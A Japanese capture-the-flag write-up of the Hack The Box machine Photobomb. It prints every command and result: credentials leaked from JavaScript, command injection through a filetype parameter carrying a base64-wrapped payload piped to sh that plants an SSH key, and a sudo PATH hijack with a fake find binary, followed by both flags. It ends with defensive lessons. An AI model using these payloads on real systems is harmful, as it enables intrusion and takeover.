Hack The BoxのWriteup(Photobomb)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Photobomb — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
photobomb.js 漏洩
pH0t0:b0Mb! ハードコード
→
/printer filetype
ブラインドコマンドインジェクション
→
SSH公開鍵注入
authorized_keys 書込み
→
SSH wizard
user.txt ✓
→
sudo SETENV NOPASSWD
/opt/cleanup.sh の find 呼出し
→
PATH ハイジャック
偽 find バイナリ
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & vhostリダイレクトの確認

BASH
nmap -sV -sC -p 22,80 10.129.228.60
curl -sI http://10.129.228.60/
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)

HTTP/1.1 302 Moved Temporarily
Location: http://photobomb.htb/
ℹ️
ルートへのアクセスはphotobomb.htbへリダイレクトされるため、 /etc/hostsへの追記が必須。
PHASE 2

JavaScriptソースに残されたBasic認証資格情報

photobomb.js を取得

BASH
echo "10.129.228.60 photobomb.htb" | sudo tee -a /etc/hosts
curl -s http://photobomb.htb/photobomb.js
RESULT
function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href',
      'http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;
🚨
開発者のコメント付きで平文のBasic認証資格情報がJavaScriptに直書きされている。 特定のCookieを持つ「テックサポート」向けにのみ資格情報入りリンクを表示する仕組みだが、 JSファイル自体は誰でも閲覧できるため、そのCookieの有無に関わらず 資格情報 pH0t0:b0Mb! がそのまま読み取れてしまう。

資格情報で /printer にアクセス

BASH
curl -s -u 'pH0t0:b0Mb!' http://photobomb.htb/printer | grep -A2 "Select an image"
RESULT
<h3>Select an image</h3>
<input type="radio" name="photo" value="voicu-apostol-MWER49YaD-M-unsplash.jpg" .../>
...
<select name="filetype">
  <option value="jpg">JPG</option>
  <option value="png">PNG</option>
</select>
<input type="radio" name="dimensions" value="3000x2000" .../>
ℹ️
「写真を選んでサイズ・ファイル形式を指定し、グッズ印刷用に変換する」という社内ツール。 サーバー側ではおそらくconvert(ImageMagick)等の外部コマンドを photo/filetype/dimensionsの値を使って組み立てて 呼び出していると推測できる。
PHASE 3

filetypeパラメータのブラインドコマンドインジェクション

正常なリクエストの挙動を確認

BASH
curl -s -u 'pH0t0:b0Mb!' -X POST \
  --data-urlencode "photo=voicu-apostol-MWER49YaD-M-unsplash.jpg" \
  --data-urlencode "filetype=jpg" \
  --data-urlencode "dimensions=3000x2000" \
  http://photobomb.htb/printer | head -c 100
RESULT
....JFIF..H.H..ICC_PROFILE...lcms..mntrRGB XYZ ... (変換されたJPEGバイナリがそのまま返る)
ℹ️
正常時はリサイズ済み画像のバイナリがレスポンスとしてそのまま返る。 filetypeがシェルコマンドの一部に文字列結合されているなら、 セミコロン;で区切って追加コマンドを注入できる可能性がある。

コマンドインジェクションの確認(ブラインド)

BASH
curl -s -u 'pH0t0:b0Mb!' -X POST \
  --data-urlencode "photo=voicu-apostol-MWER49YaD-M-unsplash.jpg" \
  --data-urlencode "filetype=jpg;id>/tmp/pwn_test;#" \
  --data-urlencode "dimensions=3000x2000" \
  http://photobomb.htb/printer -o /dev/null -w "code=%{http_code}\n"
RESULT
code=500
⚠️
filetypeに不正な拡張子を与えると、後続のconvert ... output.{filetype} 的な処理が出力ファイル生成に失敗しHTTP 500が返る。しかし セミコロンの前にあるid > /tmp/pwn_testはシェル上で先に実行済み — これが「ブラインド」コマンドインジェクションと呼ばれる所以で、 レスポンス自体からは注入成功を直接確認できない。SSH公開鍵注入等、 別の手段で成功を実証する必要がある。
PHASE 4

SSH公開鍵注入で安定したシェルを確立 & user.txt

ローカルで鍵ペアを生成

BASH
ssh-keygen -t ed25519 -f pb_key -N "" -q
cat pb_key.pub
RESULT
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIORmDr2P7d9p/R3GZ6M6oIeYw+j7DaGFyMrOU1vXmrn5 root@kali

base64でコマンドを包み、filetype経由で authorized_keys に書き込む

BASH
CMD="mkdir -p /home/wizard/.ssh && echo '<公開鍵>' >> /home/wizard/.ssh/authorized_keys \
  && chmod 700 /home/wizard/.ssh && chmod 600 /home/wizard/.ssh/authorized_keys"
B64=$(echo -n "$CMD" | base64 -w0)
FILETYPE="jpg;echo ${B64}|base64 -d|sh;#"

curl -s -u 'pH0t0:b0Mb!' -X POST \
  --data-urlencode "photo=voicu-apostol-MWER49YaD-M-unsplash.jpg" \
  --data-urlencode "filetype=${FILETYPE}" \
  --data-urlencode "dimensions=3000x2000" \
  http://photobomb.htb/printer -o /dev/null -w "code=%{http_code}\n"
RESULT
code=500   (想定通り。実際の成否はSSHで確認)
ℹ️
コマンドにスペースや特殊文字(&&、シングルクォート等)を直接 filetypeに入れるとURLエンコード/シェル解釈の衝突で壊れやすいため、 実行したいコマンドを先にbase64化し、ターゲット側でbase64 -d|shに渡す 方式が確実(他のマシンの攻略でも繰り返し使われている定石)。

注入した鍵でSSHログイン & user.txt取得

BASH
ssh -i pb_key -o StrictHostKeyChecking=no wizard@10.129.228.60 \
  "id; hostname; cat /home/wizard/user.txt"
RESULT
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
photobomb
b72fce6c7631bac58a3cfa96b2e6a657
user.txt — wizard
b72fce6c7631bac58a3cfa96b2e6a657
✅
ログイン成功=コマンドインジェクション実証完了。ブラインドな脆弱性の 確認手段として、HTTPレスポンスではなく「別経路(SSH)でのアクセス確立」を使う 典型パターン。
PHASE 5

sudo権限の確認とcleanup.shの脆弱なfind呼び出し

sudo -l でroot実行可能なスクリプトを確認

BASH
wizard@photobomb:~$ sudo -l
RESULT
User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
🚨
NOPASSWDに加えてSETENVが付与されている点が重要。 これにより、sudo実行時に環境変数を自由に上書きできる (デフォルトではsudoは安全のため多くの環境変数をリセットするが、 SETENVタグがあるとその制限が外れる)。

cleanup.sh の中身を確認 — find がフルパス指定なし

BASH
wizard@photobomb:~$ cat /opt/cleanup.sh
RESULT
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
🚨
catやtruncateは/bin/・/usr/bin/と フルパス指定されているのに対し、最後のfindだけはフルパスなし で呼ばれている。SETENVによりPATHを自由に書き換えられるため、 findという名前の偽バイナリを自作しPATHの先頭に割り込ませれば、 root権限のcleanup.shがその偽findを実行してしまう。
PHASE 6

偽findバイナリでPATHハイジャック & root.txt取得

偽findを作成しPATHを先頭に割り込ませてcleanup.shを実行

BASH
wizard@photobomb:~$ printf '#!/bin/sh\ncp /root/root.txt /tmp/rb.txt\nchmod 644 /tmp/rb.txt\n' > /tmp/find
wizard@photobomb:~$ chmod +x /tmp/find
wizard@photobomb:~$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
wizard@photobomb:~$ cat /tmp/rb.txt
RESULT
5c5a85ae576dc70975a37e36a84d203a
✅
root権限で実行されたcleanup.shが/opt/.bashrc読込後に findを呼ぶ際、PATHの先頭が/tmpになっているため /tmp/find(こちらは単なるシェルスクリプトで、/root/root.txtを 誰でも読める/tmpにコピーするだけ)が本物のfindの代わりに 実行される。これでroot所有のファイルを一般ユーザーの権限のまま盗み見ることができる。
root.txt — root (sudo PATH hijack経由)
5c5a85ae576dc70975a37e36a84d203a
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — wizard
b72fce6c7631bac58a3cfa96b2e6a657
root.txt — root
5c5a85ae576dc70975a37e36a84d203a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
フロントエンドJSへの資格情報ハードコード photobomb.js Basic認証資格情報の漏洩 High Cookie条件分岐の裏にあるが、JSファイル自体は誰でも閲覧できpH0t0:b0Mb!がそのまま読める
OSコマンドインジェクション /printer の filetype パラメータ リモートコード実行(ブラインド) Critical 画像変換コマンド構築時にfiletype値をサニタイズせず文字列結合、;区切りで任意コマンドを注入
sudo SETENV + PATH未固定のスクリプト /opt/cleanup.sh (sudo実行可) 権限昇格(一般ユーザー → root) Critical SETENVでPATH変数を上書きし、フルパス指定のないfind呼出しを偽バイナリに差し替え

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhostリダイレクト追跡22(SSH)/80(nginx photobomb.htb)
2資格情報漏洩photobomb.js 直読みpH0t0:b0Mb! (Basic認証)
3コマンドインジェクションfiletypeパラメータへの;注入任意コマンド実行(ブラインド)プリミティブ確立
4フットホールドSSH公開鍵注入 + base64ラッピングuser.txt(wizard)
5権限調査sudo -l + cleanup.sh読み取りSETENV NOPASSWD + フルパスなしfind呼出し
6権限昇格偽find PATHハイジャックroot.txt

学んだ教訓 & 防御策

問題点防御策
クライアント側JavaScriptに資格情報をハードコードしている 認証情報はサーバー側で管理し、クライアントに一切送信しない。フロントエンドのソースは常に公開情報として扱う。
ユーザー制御のパラメータを外部コマンド(ImageMagick等)構築にそのまま使用 シェル経由の文字列結合を避け、subprocess系APIで引数配列を直接渡す(シェル解釈を経由させない)。入力値はホワイトリストで厳格に検証する。
sudoルールにSETENVを安易に付与し、呼び出し先スクリプトが外部コマンドをフルパス指定していない SETENVは本当に必要な場合のみ付与し、root権限で実行するスクリプトは全ての外部コマンドを絶対パスで呼び出し、明示的にPATHを固定する(PATH=/usr/bin:/bin等をスクリプト冒頭で設定)。
HackTheBox: Photobomb | 完全攻略レポート